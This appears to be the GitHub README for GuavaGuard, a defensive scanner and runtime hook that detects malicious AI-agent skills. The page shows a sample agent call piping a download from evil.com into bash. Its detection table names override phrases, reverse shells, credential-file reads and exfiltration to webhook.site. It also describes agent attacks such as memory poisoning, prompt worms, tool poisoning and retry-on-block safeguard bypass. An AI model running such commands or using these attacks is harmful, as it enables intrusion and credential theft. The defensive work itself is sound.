Skip to content

πŸˆπŸ›‘οΈ Zero-dependency security scanner for AI Agent Skills. Detects prompt injection, credential theft, supply chain attacks, Unicode BiDi attacks, and more. Single file, Node.js only.

License

Notifications You must be signed in to change notification settings

koatora20/guava-guard

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

4 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸˆπŸ›‘οΈ GuavaGuard v5.0

Zero-dependency security scanner + runtime guard for AI Agent Skills.

One file. No install. 17 threat categories. Runtime hook protection. Catches what Cisco, Snyk, and VirusTotal miss.

# Static scan β€” that's it. Copy the file, run it.
node guava-guard.js ~/.openclaw/workspace/skills/ --verbose --self-exclude

# Runtime guard β€” hook into OpenClaw
openclaw hooks install guava-guard
openclaw hooks enable guava-guard

Why GuavaGuard?

The OpenClaw/ClawHub ecosystem has a serious security problem:

  • 341 malicious skills found by Koi Security (ClawHavoc campaign)
  • 283 leaky skills exposing API keys through LLM context (Snyk)
  • 36.82% of skills contain prompt injection (Snyk ToxicSkills)
  • 135,000+ exposed instances on the public internet
  • Prompt worms actively spreading through Moltbook (Simula Research Lab)

Cisco's scanner needs Python + pip + API keys. Snyk mcp-scan needs ML models. GuavaGuard needs Node.js and 3 seconds.


Quick Start

# Scan your skills directory
node guava-guard.js ./skills/ --verbose

# Full scan with dependency analysis
node guava-guard.js ./skills/ --verbose --check-deps --self-exclude

# Generate reports
node guava-guard.js ./skills/ --json --sarif --html

# CI/CD: fail build on findings
node guava-guard.js ./skills/ --fail-on-findings --sarif

Or install via ClawHub:

clawhub install guava-guard

Two-Layer Defense

Layer 1: Static Scanner (guava-guard.js)

Scans skill source code before installation. Regex + data flow analysis.

Layer 2: Runtime Guard (handler.js) ⭐ NEW

Hooks into OpenClaw's before_tool_call event to intercept dangerous operations in real-time.

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Agent calls exec("curl evil.com | bash")       β”‚
β”‚  ↓                                              β”‚
β”‚  GuavaGuard handler.js intercepts               β”‚
β”‚  ↓                                              β”‚
β”‚  Pattern match: RT_CURL_BASH (CRITICAL)         β”‚
β”‚  ↓                                              β”‚
β”‚  Mode=enforce β†’ BLOCKED πŸ›‘                      β”‚
β”‚  Audit logged to ~/.openclaw/guava-guard/       β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Runtime Modes:

Mode CRITICAL HIGH MEDIUM
monitor ⚠️ Log+Warn πŸ“ Log πŸ“ Log
enforce πŸ›‘ Block ⚠️ Log+Warn πŸ“ Log
strict πŸ›‘ Block πŸ›‘ Block ⚠️ Log+Warn

What It Detects (17 Categories)

# Category Severity What It Catches
1 Prompt Injection πŸ”΄ CRIT ignore previous instructions, zero-width Unicode, BiDi attacks, XML tags, homoglyphs
2 Malicious Code πŸ”΄ CRIT eval(), reverse shells, raw sockets, Function() constructor
3 Suspicious Downloads πŸ”΄ CRIT curl|bash, password-protected ZIPs, fake prerequisites
4 Credential Handling 🟠 HIGH .env reading, SSH keys, crypto wallets, OpenClaw config access
5 Secret Detection 🟠 HIGH Hardcoded API keys, AWS keys, private keys, Shannon entropy analysis
6 Exfiltration 🟑 MED webhook.site, POST with secrets, DNS exfil, curl data exfil
7 Dependency Chain 🟠 HIGH Risky npm packages, lifecycle scripts, remote deps, wildcard versions
8 Financial Access 🟑 MED Crypto transactions, Stripe/PayPal/Plaid API calls
9 Leaky Skills πŸ”΄ CRIT "Save API key to memory", verbatim output traps, PII collection
10 Memory Poisoning πŸ”΄ CRIT SOUL.md writes, rule overrides, persistent behavior changes
11 Prompt Worms πŸ”΄ CRIT Self-replicating prompts, agent propagation, CSS-hidden payloads
12 Persistence 🟠 HIGH Cron abuse, LaunchAgents, systemd, heartbeat manipulation
13 CVE Patterns πŸ”΄ CRIT CVE-2026-25253, Gatekeeper bypass, ClawHavoc v2 IoCs
14 MCP Security ⭐ πŸ”΄ CRIT OWASP MCP Top 10: Tool Poisoning, Schema Poisoning, Token Leak, Shadow Server, SSRF
15 Trust Boundary ⭐ πŸ”΄ CRIT Calendar/email/web β†’ exec chains (Claude DXT RCE vector, IBC framework)
16 Advanced Exfil ⭐ πŸ”΄ CRIT ZombieAgent static URLs, char-by-char exfil, drip exfil, beacons
17 Safeguard Bypass ⭐ πŸ”΄ CRIT Reprompt URL PI, double-execution bypass, retry-on-block, rephrase attacks

⭐ = New in v5.0

Cross-cutting Engines

Engine What It Does
JS Data Flow Tracks require() β†’ secret reads β†’ fetch()/exec() chains
Cross-File Analysis Detects payloads split across multiple files
Combo Multipliers Credential + exfil = 2x risk, memory poison = 1.5x, prompt worm = 2x
Obfuscation Hex encoding, base64β†’exec, charCode construction
Runtime Guard ⭐ before_tool_call hook blocks attacks in real-time

v5.0 vs The Competition

Feature GuavaGuard v5 Cisco Scanner Snyk mcp-scan ClawBands
Zero dependencies βœ… ❌ Python+pip ❌ Python+ML ❌
Single file βœ… ❌ ❌ ❌
Runtime guard βœ… hook ❌ ❌ βœ… policy
OWASP MCP Top 10 βœ… ❌ ❌ ❌
ZombieAgent βœ… ❌ ❌ ❌
Trust Boundary βœ… ❌ ❌ ❌
Reprompt Bypass βœ… ❌ ❌ ❌
Leaky Skills βœ… ❌ βœ… ❌
Memory Poisoning βœ… ❌ ❌ ❌
Prompt Worms βœ… ❌ ❌ ❌
CVE Patterns βœ… ❌ ❌ ❌
Unicode/BiDi βœ… ❌ ❌ ❌
SARIF (CI/CD) βœ… βœ… ❌ ❌
HTML Report βœ… ❌ ❌ ❌
Custom Rules βœ… βœ… (YARA) ❌ βœ…
Approach πŸ”¬ Threat Intel πŸ”¬ AST+LLM πŸ€– ML Model πŸ“‹ Policy

Key difference: ClawBands = policy-based (ALLOW/ASK/DENY rules). GuavaGuard = threat-intelligence-based (pattern/signature detection engine). They're complementary, not competing.


Test Results

Tested against 9 synthetic malicious skills based on real-world attacks:

clawhavoc-fake       β†’ πŸ”΄ MALICIOUS β€” AMOS, xattr, fake prereq
revshell-backdoor    β†’ πŸ”΄ MALICIOUS β€” reverse shell, malicious IP, socket
env-exfil            β†’ πŸ”΄ MALICIOUS β€” webhook.site, .clawdbot exfil
memory-poison-worm   β†’ πŸ”΄ MALICIOUS β€” memory poison, prompt worm, propagation
reprompt-bypass      β†’ πŸ”΄ MALICIOUS β€” URL PI, double-exec, rephrase bypass
tool-poison          β†’ πŸ”΄ MALICIOUS β€” <IMPORTANT> tag, schema default
schema-poison        β†’ πŸ”΄ MALICIOUS β€” curl|bash in schema default
trust-boundary-chain β†’ πŸ”΄ MALICIOUS β€” calendarβ†’exec, emailβ†’exec
zombie-exfil         β†’ πŸ”΄ MALICIOUS β€” char mapping, loop fetch, drip exfil

Detection rate: 9/9 (100%)

Output Examples

Terminal

πŸˆπŸ›‘οΈ  GuavaGuard v5.0.0 Security Scanner
══════════════════════════════════════════════════════
πŸ“‚ Scanning: ./skills/
πŸ“¦ Skills found: 20

🟒 my-safe-skill β€” CLEAN (risk: 0)
🟑 sketch-tool β€” SUSPICIOUS (risk: 45)
   πŸ“ mcp-security
      πŸ’€ [CRITICAL] MCP Tool Poisoning: hidden instruction in metadata
πŸ”΄ totally-legit β€” MALICIOUS (risk: 100)
   πŸ“ advanced-exfil
      πŸ’€ [CRITICAL] ZombieAgent: loop-based URL exfiltration
   πŸ“ safeguard-bypass
      πŸ’€ [CRITICAL] Reprompt: URL parameter prompt injection

Runtime Guard (audit.jsonl)

{"tool":"exec","check":"RT_CURL_BASH","severity":"CRITICAL","desc":"Download piped to shell","mode":"enforce","action":"blocked","ts":"2026-02-11T03:30:00Z"}

Options

Flag Description
--verbose, -v Detailed findings with categories and samples
--json JSON report with recommendations
--sarif SARIF report (GitHub Code Scanning)
--html HTML visual dashboard
--self-exclude Skip scanning the guava-guard directory itself
--strict Lower thresholds (suspicious=20, malicious=60)
--summary-only Print only the summary table
--check-deps Scan package.json for dependency chain risks
--rules <file> Load custom rules from JSON file
--fail-on-findings Exit code 1 if any findings (CI/CD)

Risk Scoring

Combo Multiplier Why
Credential + Exfiltration 2x Data theft pipeline
Obfuscation + Malicious Code 2x Actively hiding attacks
Leaky Skills + Exfiltration 2x Secret leaks at scale
Prompt Worm 2x Network-wide propagation
Memory Poisoning 1.5x Persistent backdoor
Known IoC match β†’ 100 Confirmed threat
Risk Score Verdict
0 🟒 CLEAN
1-29 🟒 LOW RISK
30-79 🟑 SUSPICIOUS
80-100 πŸ”΄ MALICIOUS

CI/CD Integration

GitHub Actions

- name: Scan skills
  run: node guava-guard.js ./skills/ --sarif --fail-on-findings --check-deps

- name: Upload SARIF
  uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: skills/guava-guard.sarif

Changelog

v5.0.0 (2026-02-11)

  • OWASP MCP Top 10 detection β€” Tool Poisoning, Schema Poisoning, Token Leak, Shadow Server, SSRF
  • Trust Boundary Violation β€” calendar/email/web β†’ exec chain detection (Claude DXT RCE, IBC framework)
  • ZombieAgent detection β€” static URL arrays, char-by-char exfil, drip exfil, beacon tracking
  • Reprompt/Safeguard Bypass β€” URL parameter PI, double-execution, retry-on-block, rephrase attacks
  • ClawHavoc v2 IoCs β€” AMOS/Atomic Stealer, AuthTool reverse shell, /dev/tcp patterns
  • Runtime Guard (handler.js) β€” before_tool_call hook, 3 modes (monitor/enforce/strict), audit logging
  • WebSocket/API guardrail β€” origin validation, elevated permission detection
  • PREREQ_DOWNLOAD fix β€” cross-line matching for realistic ClawHavoc payloads
  • 24 new static patterns + 12 runtime checks

v4.0.0 (2026-02-10)

  • Leaky Skills, Memory Poisoning, Prompt Worms, JS data flow
  • CVE patterns, persistence detection, HTML reports, combo multipliers

v3.1.0

  • Custom rules, SARIF output, --fail-on-findings

v3.0.0

  • Unicode BiDi/homoglyph, dependency chain, hidden file detection

v2.0.0

  • Context-aware scanning (code vs docs, ~80% FP reduction)

v1.0.0

  • Initial release with ClawHavoc IoCs

Architecture

guava-guard/
β”œβ”€β”€ guava-guard.js   # Static scanner (1,334 lines, zero-dep)
β”œβ”€β”€ handler.js       # Runtime guard (140 lines, before_tool_call hook)
β”œβ”€β”€ HOOK.md          # OpenClaw hook manifest
β”œβ”€β”€ SKILL.md         # ClawHub skill description
└── LICENSE          # MIT

References


License

MIT


Built by guava_ai 🍈 β€” an AI agent protecting other AI agents. Part of the Singularity Lab ecosystem.

About

πŸˆπŸ›‘οΈ Zero-dependency security scanner for AI Agent Skills. Detects prompt injection, credential theft, supply chain attacks, Unicode BiDi attacks, and more. Single file, Node.js only.

Topics

Resources

License

Stars

Watchers

Forks

Packages

No packages published